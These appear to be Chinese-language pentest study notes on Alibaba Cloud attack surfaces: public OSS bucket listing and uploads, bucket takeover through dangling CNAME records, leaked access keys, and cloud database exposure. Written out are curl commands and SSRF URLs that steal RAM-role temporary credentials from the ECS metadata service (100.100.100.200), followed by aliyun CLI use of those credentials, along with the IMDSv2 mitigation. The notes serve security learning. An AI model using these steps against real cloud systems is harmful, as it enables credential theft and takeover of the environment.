https://wiki.teamssix.com/

对象存储

目录遍历问题

  • 存储桶设置为任何人可读,攻击者访问 https://bucket.oss.com/?list 即可查看文件列表,可能存在备份文件、配置文件、源码等重要信息泄露的问题。
  • Policy 配置了 ListObject 权限,通过授权策略给了列出对象的权限,即使不是公共读,授权用户也能遍历,若攻击者拿到临时凭证则可以批量下载。

文件上传问题

  • 公共读写权限,桶设置为任何人可写,攻击者可以直接用 PUT 请求上传文件,如恶意木马、钓鱼页面、挖矿脚本;
  • Policy 同时给了 ListObjects + PutObject,授权策略允许列出+上传,配合使用危害更大,攻击者可先遍历找上传点,再覆盖关键文件

桶接管问题

存储桶绑定了自定义域名,当桶被释放或删除,但对应的域名 DNS 的 CNAME 记录没有删除仍指向已删除的桶。

攻击方式:发现 static.example.com CNAME → xxx.oss-cn-hangzhou.aliyuncs.com 访问 OSS 地址返回 NoSuchBucket,在相同区域创建同名桶 + 绑定相同域名,则可上传钓鱼页面,用户访问 static.example.com 就被劫持)

AK/SK 泄露问题

常见泄露场景:前端代码硬编码、APP/小程序反编译、GitHub 等公开代码仓库等。

https://wiki.teamssix.com/cloudservice/more/ 各厂商 AK/SK 特征

云服务器弹性计算

云服务器弹性计算配置了实例访问控制角色(带权限的 RAM Role)让服务器能自动获取临时凭证访问其他云资源或存在 SSRF 漏洞或已得到云服务器权限等前提下,可利用云服务器元数据攻击

场景 1:已通过 Webshell 进入一台阿里云 ECS,且该实例绑定了 RAM 角色

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
攻击流程:
获取角色名称
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/
# 返回:RamRoleName

获取临时凭证
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/RamRoleName
# 返回 JSON:
{
"AccessKeyId": "STS.NV6y...",
"AccessKeySecret": "DgHs...",
"SecurityToken": "CAIS+QJ1q6Ft5B2yfSjIr5...", // STS 令牌
"Expiration": "2024-01-01T12:00:00Z"
}
利用凭证横向移动
# 用阿里云 CLI + 临时凭证访问其他资源
aliyun oss ls \
--access-key-id STS.NV6y... \
--access-key-secret DgHs... \
--security-token CAIS+QJ1q6Ft5B2yfSjIr5...

风险:如果角色权限过大(如管理员),可接管整个云环境

场景 2:目标网站存在 SSRF 漏洞(如 curl/user_input 未过滤)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
攻击流程:
探测元数据接口
https://vuln.com/proxy?url=http://100.100.100.200/latest/meta-data/

如果返回实例信息 → 继续获取角色名 + 临时凭证
https://vuln.com/proxy?url=http://100.100.100.200/latest/meta-data/ram/security-credentials/RoleName

提取返回的 JSON 中的 AccessKeyId/Secret/Token

本地利用(同上)

阿里云防护:启用 IMDSv2
# v2 需要先生成 token(带 Header),普通 SSRF 难以构造
TOKEN=$(curl -X PUT "http://100.100.100.200/latest/api/token" \
-H "X-aliyun-ecs-metadata-token-ttl-seconds: 21600")
curl -H "X-aliyun-ecs-metadata-token: $TOKEN" \
http://100.100.100.200/latest/meta-data/

云数据库

基本上安全~

账号密码泄露,云数据库开启了外网地址可连接且 IP 在白名单中;内网需要其中内网某一个服务器做转发。